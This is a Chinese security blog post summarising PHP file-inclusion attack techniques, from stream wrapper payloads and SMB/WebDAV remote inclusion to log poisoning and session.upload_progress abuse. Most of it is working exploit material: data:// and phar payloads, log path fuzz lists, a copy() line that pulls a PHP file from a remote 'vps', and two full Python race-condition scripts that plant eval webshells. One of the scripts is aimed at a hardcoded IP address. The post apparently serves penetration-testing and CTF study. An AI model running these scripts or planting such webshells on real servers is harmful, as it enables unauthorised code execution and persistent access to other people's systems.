Diggid's Blog

文件包含姿势总结

字数统计: 4.1k阅读时长: 19 min
2021/05/16 Share

四个函数

1
2
3
4
include //当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,然后继续往下执行
require //只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行
include_once
require_once

PHP Stream Wrapper

常见的有以下几种,下面几种都涉及到不同的姿势

var_dump(stream_get_wrappers());查看系统注册了哪些wrapper,对应phpinfo的Registered Stream Filters

常用的伪协议及其条件:

image-20210516211405773

可见上述封装协议有两个受影响,data://受两个配置项的影响,php://filterallow_url_include的影响

常用的姿势

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# php://filter 
过滤器
php://filter/read=convert.base64-encode/resource=upload.php
string.strip_tags
string.rot13
string.toupper
convert.base64-decode
convert.quoted-printable-decode
convert.iconv.<input-encoding>.<output-encoding>
convert.iconv.utf-16le.utf-8
清除死亡exit

# php://input + post_data

# http://
ssrf
内网

# file://
读文件

# glob://
列目录
glob://*/

# data://
data://text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
data:text/plain,<?php phpinfo()?>
data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
data:,xxx -> xxx

# compress.bzip2://, compress.zlib://
compress.zlib://file.gz - 处理的是 '.gz' 后缀的压缩包
compress.bzip2://file.bz2 - 处理的是 '.bz2' 后缀的压缩包

# zip://
zip://archive.zip%23dir/file.txt
compress.bzip2://path/test.jpg - 直接包含zip,可rce

# ftp://
ssrf + ftp passive mode

# phar://
phar://path/test.xxx
phar反序列化

关于触发phar反序列化的关键底层其实是调用了php_stream_locate_url_wrapperphp_stream_open_wrapper这两个函数,关于php_stream_open_wrapper的挖掘,可以参考@zsx师傅的这篇

UNC

该方式使用于windows下关闭了两个配置项的文件包含。可以利用smb和webdav这两个协议是实现包含。由于allow_url_open=Off时会禁止远程的ftp、http协议的URL,但不会禁止UNC的远程文件共享(只适用于windows)

  • 什么是UNC路径?UNC路径就是类似\softer这样的形式的网络路径。
  • UNC为网络(主要指局域网)上资源的完整Windows 2000名称。支持远程网络。
    格式:\\servername\sharename(也可以使用/),其中servername是服务器名。sharename是共享资源的名称。
  • UNC共享就是指网络硬盘的共享

SMB

需要搭建smb服务,比较繁琐,在自己的vps上利用以下命令搭建一个

1
2
3
4
5
6
7
8
9
apt-get install samba

mkdir /var/www/html/pub/

chmod 0555 /var/www/html/pub/

chown -R nobody:nogroup /var/www/html/pub/

echo > /etc/samba/smb.conf

在smb.conf下写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ethan]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

/var/www/html/pub放入我们的phpinfo文件即可。

重启SMB服务

1
service smbd restart

注意,如果使用阿里云的VPS去搭建的话,需要开启445端口的访问权(这里有时候可能不行)

Webdav

webdav也是一个协议。网络磁盘的共享协议

可以快速搭建一个(报错,未成功,待查)

1
docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav

然后把php文件放入/root/webdav/data中即可

上面两种方法文件包含的poc

1
2
3
4
5
第一种
http://127.0.0.1/include.php?file=//vps/1.php

第二种
http://127.0.0.1/include.php?file=//vps//webdav/1.php //注意双斜杠

包含日志文件

这类方法比较有局限性,其有几点要求:

  • 有权限读取日志文件,默认情况下,php和apache2的启动进程一般是www-data,而绝大部分的log文件的权限都是root组的,所以无法包含,除非一些管理员不注意使用给php等进程启用了高权限,这样可能导致包含日志文件

image-20210516144636690

  • log文件位置不定,如果专门设置了log文件的位置,这是很难知道的,在phpinfo中可以确切的查看到error_log的位置,但是看不到access_log的位置,因此我们需要fuzz,文件读取漏洞路径收集
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf

/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log

/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log

/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old

如果上述两个条件都满足,那么我们便可包含

包含access_log

该文件是由apache的配置文件中的CustomLog指令来指定的,其采用相对ServerRoot(安装、工作目录)的路径

image-20210516145220691

该日志用于记录访问信息,一般包括HTTP头部的大部分信息,我们可控的地方有UA、URL路径等,因此我们可以访问一个404的地址,然后再URL中写入我们的代码(注意,不要在?file=即URL参数后写入,因为会URL编码,尽量在其他地方写;不要用浏览器直接访问,因为浏览器会自动URL编码)

image-20210516153130117

image-20210516153117937

包含环境变量

包含linux(FreeBSD是没有这个的)下的/proc/self/environ,该文件可能记录用户的UA头,此时可以包含,而且该文件是直接可以读取的,因此不用考虑权限问题。但是要求

  • php运行模式是php/CGI

包含的方式和包含access_log一样,直接在UA中写入代码

配合文件上传

压缩利用

  • zip
1
2
3
zip://路径/shell.jpg%23shell #文件后缀不影响 要求zip的名称和zip里的文件名称一样??
zip://路径/shell.jpg%23dir/shell.php #多层目录
zip://路径/shell.jpg%23dir/shell #多层目录
  • phar

phar除了我们习以为常的反序列化,还可直接像zip一样来使用,其本身也是归档用的

1
2
3
4
<?php
$p = new PharData(dirname(__FILE__).'/phar.jpg', 0,'phar',Phar::ZIP) ;
$p->addFromString('test.txt', '<?php phpinfo();?>');
?>

将会生成phar.jpg文件,里面是test.txt文件,直接包含

1
phar://路径/phar.jpg/test.txt

phpinfo

从phpinfo中我们能得到许多信息,利用这些信息配合一些php处理文件的特性,我们可以有很多种包含方法

常用的有

  • System:详细的操作系统信息 确定window or linux

  • Registered Stream Filters: 注册的php过滤器和流协议

  • extension_dir:php扩展的路径

  • short_open_tag:<?= 和 <? echo 等价

  • disable_functions:禁用函数

  • open_basedir:将用户可操作的文件限制在某目录下

  • 常用超全局变量

    • $_SERVER

      • **SERVER_ADDR **服务器真实IP
      • **HTTP_ACCEPT **cookie信息
    • $_FILES(userfile为上传表单input的name):

      • $_FILES['userfile']['tmp_name']:临时文件名,默认是/tmp/php[随机大小写字符]
      • $_FILES['userfile']['name']:真实文件名
    • $_SESSION

      • save_path 存放路径(主要!!!)
      • upload_progress.enabled:是否开启PHP_SESSION_UPLOAD_PROGRESS,这个也是一个利用点
      • upload_progress.cleanup:处理完临时SESSION后是否删除临时SESSION文件,默认On

本地包含临时文件

这个思路P牛很早就说过了,原理大概是:

构造一个上传表单的时候,php也会生成一个对应的临时文件,这个文件的相关内容可以在phpinfo()的$_FILE["file"]查看到,但是临时文件很快就会被删除,所以我们赶在临时文件被删除之前,包含临时文件就可以getshell了。这里利用的条件有

  • 存在一个phpinfo的页面,这样我们才能获取临时文件名

  • 服务器性能允许我们进行条件竞争

  • disable_functions没有禁用全部的文件写入函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#
fopen ( string $filename , string $mode , bool $use_include_path = false , resource $context = ? ) : resource
fwrite ( resource $handle , string $string , int $length = ? ) : int

#
file_put_contents ( string $filename , mixed $data , int $flags = 0 , resource $context = ? ) : int

#
rename ( string $oldname , string $newname , resource $context = ? ) : bool

#
move_uploaded_file ( string $filename , string $destination ) : bool

#支持远程url,需要开启allow_url_include
copy ( string $source , string $dest , resource $context = ? ) : bool
copy("http://vps/1.php", "./shell.php");

然后利用一个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
import sys
import threading
import socket

def setup(host, port):
TAG="Security Test" # 文件包含成功的标志

#通过文件包含写入shell到其他文件,达到稳定包含
PAYLOAD="""%s\r
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php eval($_POST["diggid"]);?>');?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000

# 这里需要修改为phpinfo.php的地址
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)

# 存在文件包含地址
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""

LFIREQ_POST = """POST /lfi.php HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
Content-Type: application/x-www-form-urlencoded
Content-Length: %d

%s
\r
\r"""

return (REQ1, TAG, LFIREQ)
#return (REQ1, TAG, LFIREQ_POST)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s2.connect((host, port))

s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.find("[tmp_name] =&gt; ")
fn = d[i+17:i+31]
# print fn
except ValueError:
return None
s2.send(lfireq % (fn, host))
#post:s2.send(lfireq % (host, len("file=%s" % fn), "file=%s" % fn))
# print lfireq % (fn, host) #debug调试结果
d = s2.recv(4096)
# print d #查看回显是否成功
s.close()
s2.close()

if d.find(tag) != -1:
return fn

counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args

def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1

try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print("\nGot it! Shell created in /tmp/g")
self.event.set()

except socket.error:
return


def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)

d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt; ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")

print("found %s at %i" % (d[i:i+10],i))
# padded up a bit
return i+256

def main():

print("LFI With PHPInfo()")
print("-=" * 30)

if len(sys.argv) < 2:
print("Usage: %s host [port] [threads]") % sys.argv[0]
sys.exit(1)

try:
host = socket.gethostbyname(sys.argv[1])
except socket.error as e:
print("Error with hostname %s: %s") % (sys.argv[1], e)
sys.exit(1)

port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError as e:
print("Error with port %d: %s") % (sys.argv[2], e)
sys.exit(1)

poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError as e:
print("Error with poolsz %d: %s") % (sys.argv[3], e)
sys.exit(1)

print("Getting initial offset..."),
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()

maxattempts = 1000
e = threading.Event()
l = threading.Lock()

print("Spawning worker pool (%d)...") % poolsz
sys.stdout.flush()

tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print("Woot! \m/")
else:
print(":(")
except KeyboardInterrupt:
print("\nTelling threads to shutdown...")
e.set()

print("Shuttin' down...")
for t in tp:
t.join()

if __name__=="__main__":
main()

这里我们搭一个环境来试一下,

1
python .\include_tmp.py x.x.x.x 80 100

image-20210516173810670

提示写入成功了,但是包含/tmp/g却包含失败,排查了一翻,发现是apache2.servicePrivateTmp这个配置项导致在tmp出现类似这样的临时目录systemd-private-eff24922558d417b9c8a24c070bd50d5-apache2.service-bmdBYh,该配置项会给每个临时文件同时生成一个临时目录,不仅使用在apache2服务中,在xxx.service如mysql.service、nginx.service也存在相同的配置。

image-20210516173423606

session.upload_progress

session上传进度

session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefixsession.upload_progress.name连接在一起的值。 通常这些键值可以通过读取INI设置来获得,例如

1
2
3
4
5
<?php
$key = ini_get("session.upload_progress.prefix") . ini_get("session.upload_progress.name");
var_dump($_SESSION[$key]);
?>
# session.upload_progress.name 默认值为 PHP_SESSION_UPLOAD_PROGRESS

官方文档中给了一个文件上传的页面

1
2
3
4
5
6
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>

上传后的信息可以在$_SESSION['upload_progress_123']中找到,即session.upload_progress.prefix + value。而$_SESSION的值会存储到对应的session文件中,由于上述存在可控拼接value,因此我们在序列化的session文件中可以注入我们的代码

image-20210517093332785

1.session.use_strict_mode

该值默认为false,意思就是用户可以自定义Session ID,因此只要我们的http头部中有PHPSESSID,就会生成相应的session文件。因此我们在没有session_start()的情况下也能利用。

2.session.upload_progress.cleanup

默认开启session.upload_progress.enabledsession.upload_progress.cleanup。前者是该配置的开关,后者用于上传完后清除对应的session文件。所以此时我们需要利用条件竞争,不断上传一个大文件,然后进行包含,默认路径:

1
/var/lib/sessions/sess_[PHPSESSID]

利用bp使劲上传下面两个,一个生成session文件,一个包含生成的文件,然后把马写到/tmp/shell实现稳定连接

image-20210516201834711

image-20210516200454909

如果file_put_contents被禁了,那就换上面的其他的。也可以写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import time
import threading

host = 'http://101.132.159.30'
PHPSESSID = 'diggid'

def creatSession():
while True:
files = {
"upload" : ("1.jpg", open("C:/mm/xm/shell.jpg", "rb"))
}
payload = """<?php echo md5("1");file_put_contents('/var/www/html/pics/shell.php','<?php @eval($_REQUEST[diggid]);?>');?>"""
data = {
"PHP_SESSION_UPLOAD_PROGRESS" : payload
}
headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
url = host + "/1.php" # 这里尽量加一个确定存在的文件
r = requests.post(url, files = files, headers = headers, data=data, proxies={"http":"http://127.0.0.1:8080"})
print(r.status_code)

fileName = "/var/lib/php/sessions/sess_"+PHPSESSID

if __name__ == '__main__':

url = "{}/1.php?file={}".format(host,fileName)
headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
t = threading.Thread(target=creatSession,args=())
t.setDaemon(True)
t.start()
while True:
res = requests.get(url,headers=headers)
if b"c4ca4238a0b923820dcc509a6f75849b" in res.content:
print("[*] Get shell success.")
break
else:
print("[-] retry.")

LFI + php7崩溃

在php7使用php://filter/string.strip_tags=/etc/passwd这个过滤器会使得php进程崩溃(segment fault),同时上传文件的话,在上传处理的过程中,临时文件先写入/tmp/php[xxxxxx],然后程序崩溃,此时临时文件不会被删除,局限性

  • 可以列出/tmp目录,否则难以爆破

  • 需要循环尝试

CATALOG
  1. 1. 四个函数
  2. 2. PHP Stream Wrapper
  3. 3. UNC
    1. 3.1. SMB
    2. 3.2. Webdav
  4. 4. 包含日志文件
    1. 4.1. 包含access_log
  5. 5. 包含环境变量
  6. 6. 配合文件上传
    1. 6.1. 压缩利用
  7. 7. phpinfo
    1. 7.1. 本地包含临时文件
    2. 7.2. session.upload_progress
  8. 8. LFI + php7崩溃